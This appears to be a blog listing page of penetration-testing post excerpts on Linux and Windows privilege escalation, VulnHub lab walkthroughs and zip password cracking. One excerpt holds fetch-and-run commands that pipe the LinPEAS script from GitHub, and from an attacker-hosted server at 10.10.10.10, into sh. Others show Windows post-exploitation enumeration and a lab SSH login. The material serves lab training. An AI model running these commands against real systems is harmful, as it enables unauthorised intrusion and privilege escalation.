Posted inPenTest
Posted inPrivEsc
Linux Privilege Escalation Techniques
Linux privilege escalation techniques involve methods that allow a user to gain higher privileges or escalate their existing privileges to gain unauthorized access or perform actions they wouldn't typically be allowed to do. It's important to…
Posted inPrivEsc
Privilege Escalation – WINDOWS
Post Exploit Enumeration # Basics systeminfo hostname systeminfo | findstr /B /C:"OS Name" /C:"OS Version" # Who am I? whoami echo %username% # What users/localgroups are on the machine? net users net localgroups net local groups…
Posted inVulnLAB Practical LABS
VulnHUB PwnBox-init: Walkthrough
Lab setup Enumeration Nmap scan └─$ nmap -sC -sV -p- -A -T5 172.16.1.116 -oN pwnbox.txt Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-01 16:21 CEST Nmap scan report for 172.16.1.116 Host is up (0.00064s latency). Not…
Posted inPrivEsc
Linux Privilege Escalation: The PATH Environment Variable (PATH Abuse)
LAB setup Attack Box: KALI Linux or ParrotOS Victim machine: VulnHUB VM: OS-Bytesec Initial Access Read this article to learn how to gain initial access to the victim machine. SSH User: blackjax Password: snowflake Port :…
Linux Privilege Escalation
Privilege escalation is all about: Collect - Enumeration, more enumeration and some more enumeration. Process - Sort through data, analyse and prioritisation. Search - Know what to search for and where to find the exploit code.…
Posted inEnumeration Cheat Sheets
LINUX 101
Linux File System PathDescription/The top-level directory is the root filesystem and contains all of the files required to boot the operating system before other filesystems are mounted as well as the files required to boot the…
Posted inPrivEsc
Linux Privilege Escalation
LinPEAS Latest Releases: Release Release refs/heads/master 20230425-bd7331ea · carlospolop/PEASS-ng · GitHub # From Github curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh # Local network sudo python3 -m http.server 80 #Host curl 10.10.10.10/linpeas.sh | sh #Victim Privilege Escalation: SUID…
Posted inVulnLAB
How to crack zip password on KALI linux
Fcrackzip is a fast password cracker partly written in assembler. It is able to crack password protected zip files with brute force or dictionary based attacks, optionally testing with unzip its results. It can also crack…